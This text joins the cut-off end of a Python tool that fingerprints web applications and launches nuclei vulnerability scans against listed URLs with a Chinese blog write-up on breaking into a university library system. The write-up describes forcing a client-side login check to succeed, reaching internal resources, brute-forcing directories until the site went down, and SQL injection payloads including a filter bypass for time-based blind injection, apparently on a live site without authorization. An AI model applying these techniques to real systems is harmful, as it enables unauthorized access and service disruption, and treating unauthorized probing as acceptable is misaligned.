return int(m.hexdigest(), 16)
except:
return None
def match_one(fpr, res, fav_hash):
method = fpr["method"]
loc = fpr.get("location", "body").lower()
kws = fpr["keyword"]
if method == 'keyword':
text_body = res.text or ""
text_head = "\n".join(f"{k}: {v}" for k, v in res.headers.items())
if loc == 'header':
spaces = [text_head]
elif loc == 'title':
soup = BeautifulSoup(text_body, "html.parser")
title = soup.title.string if soup.title and soup.title.string else ""
spaces = [title]
else:
spaces = [text_body]
for space in spaces:
for kw in kws:
if kw.lower() in space.lower():
return True
elif method == 'faviconhash' and fav_hash is not None:
for kw in kws:
try:
if fav_hash == int(kw):
return True
except:
continue
return False
def match_fingerprint(url, fps):
res = get_http_response(url)
fav_hash = get_favicon_hash(url)
matched = []
for fpr in fps:
if 'cms' not in fpr or 'method' not in fpr or 'keyword' not in fpr:
continue
if match_one(fpr, res, fav_hash):
matched.append(fpr['cms'])
print(f"[✓] {url} 指纹识别结果:{list(set(matched))}")
return {"url": url, "cms": list(set(matched))[0] if matched else ""}
def run_fingerprint_scan(urls, threads, output='res.json'):
fps = load_fingerprints()
results = []
with ThreadPoolExecutor(max_workers=threads) as executor:
future_to_url = {executor.submit(match_fingerprint, url, fps): url for url in urls}
for future in as_completed(future_to_url):
results.append(future.result())
with open(output, 'w', encoding='utf-8') as f:
json.dump(results, f, ensure_ascii=False, indent=2)
# ---------- Nuclei 扫描部分 ----------
class AutoNuclei:
def __init__(self, res_file='res.json', tag_file='C:\\Users\\86135\\nuclei-templates\\TEMPLATES-STATS.json', thread_count=5):
self.res_file = res_file
self.tag_file = tag_file
self.havetag_file = 'havetag.txt'
self.notag_file = 'notag.txt'
self.result_dir = 'result'
self.thread_count = thread_count
self.cms_targets = {} # {cms: [url1, url2]}
self.nuclei_tags = set()
self.tagged_targets = {} # {tag: [url1, url2]}
self.untagged_targets = []
self.task_queue = Queue()
self.load_res_json()
self.load_tags()
self.classify_targets()
self.save_targets()
self.start_scan_threads()
def load_res_json(self):
with open(self.res_file, 'r', encoding='utf-8') as f:
data = json.load(f)
for entry in data:
cms = entry.get("cms", "").lower()
url = entry.get("url")
if cms and url:
self.cms_targets.setdefault(cms, []).append(url)
def load_tags(self):
with open(self.tag_file, 'r', encoding='utf-8') as f:
tags_data = json.load(f)
for item in tags_data.get("tags", []):
if item["name"]:
self.nuclei_tags.add(item["name"].lower())
def classify_targets(self):
for cms, urls in self.cms_targets.items():
if cms in self.nuclei_tags:
self.tagged_targets.setdefault(cms, []).extend(urls)
else:
self.untagged_targets.extend(urls)
def save_targets(self):
with open(self.havetag_file, 'w', encoding='utf-8') as f:
for tag, urls in self.tagged_targets.items():
for url in urls:
f.write(f"{tag}||{url}\n")
with open(self.notag_file, 'w', encoding='utf-8') as f:
for url in self.untagged_targets:
f.write(url + '\n')
if not os.path.exists(self.result_dir):
os.makedirs(self.result_dir)
def scan_worker(self):
while not self.task_queue.empty():
try:
tag, url = self.task_queue.get(timeout=1)
target_file = f"temp_{int(time.time() * 1000)}.txt"
with open(target_file, 'w', encoding='utf-8') as f:
f.write(url)
output_file = os.path.join(self.result_dir, f"{tag}_{int(time.time())}.txt")
cmd = f"F:\\gj\\Vulnerability_Scanning\\nuclei\\nuclei.exe -l {target_file} -tags {tag} -o {output_file} -stats"
print(f"[+] 扫描任务启动: {url} -> {tag}")
os.system(cmd)
os.remove(target_file)
except Exception as e:
print(f"[!] 线程错误: {e}")
def start_scan_threads(self):
for tag, urls in self.tagged_targets.items():
for url in urls:
self.task_queue.put((tag, url))
threads = []
for _ in range(self.thread_count):
t = threading.Thread(target=self.scan_worker)
t.start()
threads.append(t)
for t in threads:
t.join()
print("[✓] 所有扫描任务完成!")
# ---------- 主程序入口 ----------
def main():
parser = argparse.ArgumentParser(description="指纹识别 + Nuclei自动化工具")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-u", "--url", help="目标 URL")
group.add_argument("-f", "--file", help="URL列表文件")
parser.add_argument("--fp-threads", type=int, default=10, help="指纹识别线程数")
parser.add_argument("--scan-threads", type=int, default=5, help="Nuclei 扫描线程数")
args = parser.parse_args()
urls = []
if args.url:
urls = [args.url]
elif args.file:
with open(args.file, 'r', encoding='utf-8') as f:
urls = [line.strip() for line in f if line.strip()]
print("[*] 正在执行指纹识别...")
run_fingerprint_scan(urls, threads=args.fp_threads, output='res.json')
print("[*] 指纹识别完成,开始 Nuclei 扫描...")
AutoNuclei(
res_file='res.json',
tag_file=os.path.join(os.environ['USERPROFILE'], 'nuclei-templates', 'TEMPLATES-STATS.json'),
thread_count=args.scan_threads
)
if __name__ == '__main__':
main()
记一次前端逻辑绕过登录到内网挖掘
前言
在测试一个学校网站的时候,发现一个未授权访问内网系统,但是这个未授权并不是接口啥的,而是对前端 js的审计和调试发现的漏洞,这里给大家分享一下这次的漏洞的过程。
进入内网的过程
可以看到是一个图书馆的网站,但是只有登录了内网才能访问图书馆的资源,这个能够理解嘛,毕竟大学的图书馆资源都是内部资源
然后随便尝试登录一下
会检验我的 ip,ctf 学习的如何伪造 ip,可以用起来了
发现还是不可以,emmm,可能伪造得不对,fuzz 一波
全包 400 了,我去,检查一手
原来是给我们 url 编码了,所以这里给各位说一下,当你遇到这个问题的时候,你就需要去设置一个小东西
取消
没有区别,emmm 还是不行
难道真的要不行了吗
我尝试直接去 js 代码中看看,是不是在 js 中的限制,或者查找一下获取我的 ip 的逻辑,尝试有没有别的伪造方法
然后我们定位到 js 的代码
else if (state == '2'){
$("#login_error").html('您的IP不在授权区域');
return false;
}
发现是根据 state 来确定的
var state = $.trim(msg);
而 state 又来自于 msg
然后我们发现了关键代码
function check_login($url)
{
var name = $("#name").val();
var passwd = $("#passwd").val();
var remme = $("#checkboxindex").val();
if(remme == 1){
setCookie('dydlname', name );
setCookie('dydlpasswd', passwd );
}
else{
setCookie('dydlname');
setCookie('dydlpasswd');
}
$.ajax({
type : "POST",
async : true,
url : "../ucheck.php",
data : "name=" + name +"&passwd=" + passwd,
success : function(msg) {
var state = $.trim(msg);
//alert (state);
//alert (msg);
//state[0] = 6;
if (state == '1') {
window.location.href=$url;
//alert ($url);
return true;
}
else if (state == '2'){
$("#login_error").html('您的IP不在授权区域');
return false;
}
else if (state == '3'){
$("#login_error").html('用户名或密码错误');
return false;
}
else if (state == '6'){
showNotice();
return false;
}
}
});
}
简单看一看
var name = $("#name").val();
var passwd = $("#passwd").val();
var remme = $("#checkboxindex").val();
name 获取用户输入的用户名,使用的是 jQuery 来从 id 为 #name 的输入框中提取值。
passwd 获取用户输入的密码,提取自 id 为 #passwd 的输入框。
remme 获取用户是否选择了“记住密码”的选项,提取自 id 为 #checkboxindex 的复选框
记住密码的逻辑是
if(remme == 1){
setCookie('dydlname', name );
setCookie('dydlpasswd', passwd );
} else {
setCookie('dydlname');
setCookie('dydlpasswd');
}
如果用户选择了“记住密码”(remme == 1),代码会调用 setCookie 函数设置两个 cookie,分别存储用户名 (dydlname) 和密码 (dydlpasswd)。
如果用户未选择记住密码,代码会清除这些 cookie。
嘿嘿嘿,那如果能够获得别人的 cookie,那么我们就可以直接获取账号和密码了
我们看看 cookie 的逻辑
/* 添加/删除 cookie */
function setCookie(name, value, exdays, path) {
var exdate = new Date();
exdays = exdays || 365;
exdate.setDate(exdate.getDate() + exdays);
if(value === null) {
value = '';
exdays = -3;
}
document.cookie = name + '=' + encodeURIComponent(value) + ((typeof exdays === 'undefined') ? '' : ';expires=' + exdate.toGMTString()) ;
}
先就是设置一下 cookie 的过期时间,然后就是设置 cookie 的值
document.cookie = name + '=' + encodeURIComponent(value) + ((typeof exdays === 'undefined') ? '' : ';expires=' + exdate.toGMTString());
encodeURIComponent 对 value 进行 URL 编码,防止特殊字符导致 Cookie 无效或出现错误。
我们看处理服务器响应的部分
状态码 1: 登录成功
if (state == '1') {
window.location.href = $url;
return true;
}
如果状态码是 1,则认为登录成功,跳转到传入的 $url 页面。
状态码 2: IP 不在授权区域
else if (state == '2'){
$("#login_error").html('您的IP不在授权区域');
return false;
}
如果状态码是 2,提示“您的 IP 不在授权区域”。
状态码 3: 用户名或密码错误
else if (state == '3'){
$("#login_error").html('用户名或密码错误');
return false;
}
如果状态码是 3,提示“用户名或密码错误”。
状态码 6: 显示通知信息
else if (state == '6'){
showNotice();
return false;
}
如果状态码是 6,调用 showNotice() 函数,可能会弹出一些通知或消息提醒。
首先看一下 6
然后我们检查回显
好的没有有用的信息,然后我们就回到改成 1
调试 js
成功进入了分支,然后会跳转 url
到 index.php
但是发现页面任然没有什么变化,???? 尝试直接访问
直接 302 跳转了
但是必须进内网才可以啊
我又在这里磨了很久,发现早都成功了
其实虽然 302 了,但是资源还是可以访问到的
然后全是这个学校的内部的文献
sql 注入的发现
但是可惜的是只能在 bp 中操作,所以很不方便,我看源码,然后找到一些文件,尝试一下爆破目录,看看有没有价值的目录,比如admin,因为内网的话弱口令很多的
当时爆了一会,这个网站直接就崩溃了,不敢爆了,全是别人学校的内步藏书
当时 502 差点没有把我吓死我去,然后就是
随便访问一下
不能爆破目录,只能去尝试 sql 注入了
然后成功了 wc
有 sql 注入,然后下面就开始 sql 注入吧
可以看到注释后成功了
sql 注入无限尝试
首先尝试万能密码
md,发不出去包
就很离谱
然后尝试一下基本的语句,看看哪里出了问题
连基本的 or 1=1 都不可以,发不出去包,很奇怪
or 被过滤了或者=被过滤了??
尝试一下
or
等于符号
都没有被过滤啊??,但是组合在一起就不可以了,奇怪啊
尝试 order by 看看
10000 都没有反应
尝试盲注
1'and%20length((select%20database()))>1%23
好像是可以的??
改成小于看看结果
1'and%20length((select%20database()))<1%23
但是没有任何区别???
奇怪了我去
尝试时间盲注
1'and%20sleep(5)%23
发不过去包了
我把 sleep 的数字给去掉就可以了
应该是过滤了 sleep(数字)这种类型??
还专门看了一下语法的错误
确实是没有问题的,本地都是可以的
然后灵机一动,我输入小数
本地是可以的,在环境中尝试一手
至此 sql 注入验证成功
sql 验证就够了,不敢乱打,sqlmap 我都害怕给它扫没有了
最后
声明:文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

